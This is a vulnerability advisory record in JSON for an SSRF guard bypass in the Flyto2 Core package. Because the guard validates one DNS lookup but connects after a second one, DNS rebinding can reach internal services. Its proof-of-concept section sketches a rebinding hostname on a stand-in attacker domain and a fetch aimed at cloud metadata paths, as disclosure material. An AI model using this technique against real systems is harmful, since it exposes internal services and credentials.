{"id":"CVE-2026-77313","aliases":["CVE-2026-77313","GHSA-pfg2-w999-497v"],"related":[],"kind":"vulnerability","state":"published","title":"Flyto2 Core: SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU","summary":"Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.8, validate_url_ssrf in src/core/utils.py resolves and checks a hostname but returns the hostname URL rather than the validated address, and session.get in http.get performs an independent DNS lookup when connecting. A low-privileged caller with control of the hostname's DNS can make the first lookup return a public address and the connection-time lookup return an internal address, bypassing the SSRF guard for all modules that call it and exposing readable internal or metadata-service responses. Successful exploitation requires attacker-controlled DNS and a successful timing-dependent answer change between the two lookups. This issue is fixed in version 2.26.8.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.8, validate_url_ssrf in src/core/utils.py resolves and checks a hostname but returns the hostname URL rather than the validated address, and session.get in http.get performs an independent DNS lookup when connecting. A low-privileged caller with control of the hostname's DNS can make the first lookup return a public address and the connection-time lookup return an internal address, bypassing the SSRF guard for all modules that call it and exposing readable internal or metadata-service responses. Successful exploitation requires attacker-controlled DNS and a successful timing-dependent answer change between the two lookups. This issue is fixed in version 2.26.8.","source":"cvelist"},{"lang":"en","text":"## Summary\n`validate_url_ssrf` resolves the hostname, checks the IP against private ranges, then **discards the IP and returns the hostname URL string**. aiohttp performs a fresh, independent DNS resolution at connect time. An attacker controlling DNS for a hostname (TTL 0, alternating public IP and internal IP) passes validation on the first lookup and connects to the internal IP on the second — a classic check-then-use race. SECURITY_SSRF.md line 63 explicitly claims DNS-rebinding is prevented; it is not.\n\n## Root Cause\n`src/core/utils.py:523` returns the hostname URL after validation; the resolved IP is never pinned. A repo grep of `http/` and `utils.py` for `TCPConnector` / `resolver` / `response.history` / `on_request_redirect` / IP-pinning returns NONE. Each module builds a fresh `ClientSession` per call → the connect-time `getaddrinfo` is independent of the validation-time lookup.\n\n## Impact\nDefeats the SSRF guard on ALL modules that call it (readable internal fetch). Independent of IP-range completeness — the private IP is never presented to `is_private_ip`. Requires attacker DNS control + winning the resolution race → AC:H.\n\n## Proof of Concept\nCode-proven: `validate_url_ssrf` returns the hostname (utils.py:523); no pinned-IP connector anywhere. Two independent resolutions occur (validation-time and aiohttp connect-time).\n```\nattacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP\nexecute_module http.get {\"url\":\"http://rebind.attacker.tld/latest/meta-data/...\"}\n```\n\n## Attack Chain\n1. Entry: `http.get {url:\"http://rebind.attacker.tld/...\"}`. Guard: `validate_url_with_env_config`. Bypass proof: `getaddrinfo(rebind.attacker.tld)` returns the public IP, `is_private_ip=False` (utils.py:511-519); returns the hostname URL (:523) — the IP is discarded.\n2. Sink: `session.get(\"http://rebind.attacker.tld/...\")` (get.py:116). aiohttp performs a FRESH independent `getaddrinfo` at connect → now resolves to the internal IP. Bypass proof: no `TCPConnector`/`AsyncResolver`/pinned-IP in `http/` (grep confirms none). Two lookups.\n3. Impact: internal fetch, body returned.\n\n## Bypass Evidence\n`utils.py:523` returns the hostname string, not a pinned IP; grep confirms no IP pinning or custom resolver anywhere on the path; fresh `ClientSession` per call guarantees an independent second resolution.\n\n## Affected Versions\n`<= 2.26.6` — `utils.py:523` present on latest release tag; no pinning added on HEAD.\n\n## Suggested Fix\nResolve the hostname once, pin the validated IP, and connect to that IP (custom `TCPConnector`/resolver) — reject any connect-time resolution that differs. This is the fix SECURITY_SSRF.md already claims is in place.\n\n## Credit\n\nVulnerability discovered by zx (Jace).","format":"markdown","source":"ghsa"}],"published":"2026-11-19T21:45:42.636Z","modified":"2026-11-20T17:18:26.793Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","score":7.1,"rating":"HIGH"}],"cwes":["CWE-367","CWE-918"],"affected":[{"ranges":[{"version":"< 2.26.8","status":"affected"}],"vendor":"flytohub","product":"flyto-core","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.26.8"}],"ecosystem":"PyPI","package":"flyto-core","purl":"pkg:pypi/flyto-core","source":"ghsa"}],"references":[{"url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-pfg2-w999-497v","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/flytohub/flyto-core/releases/tag/v2.26.8","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/flytohub/flyto-core","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-11-20T16:42:50.495Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-77313","url":"https://www.cve.org/CVERecord?id=CVE-2026-77313","licence":"CVE Terms of Use","modified":"2026-11-20T16:43:12.471Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pfg2-w999-497v","url":"https://github.com/advisories/GHSA-pfg2-w999-497v","licence":"CC-BY-4.0","modified":"2026-11-20T00:15:06.487Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-77313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77313","licence":"Public domain","modified":"2026-11-20T17:18:26.793Z"}],"updatedAt":"2026-11-25T22:59:52.248Z","epss":{"score":0.00296,"percentile":0.23984,"date":"2026-12-02T12:00:21.000Z"}}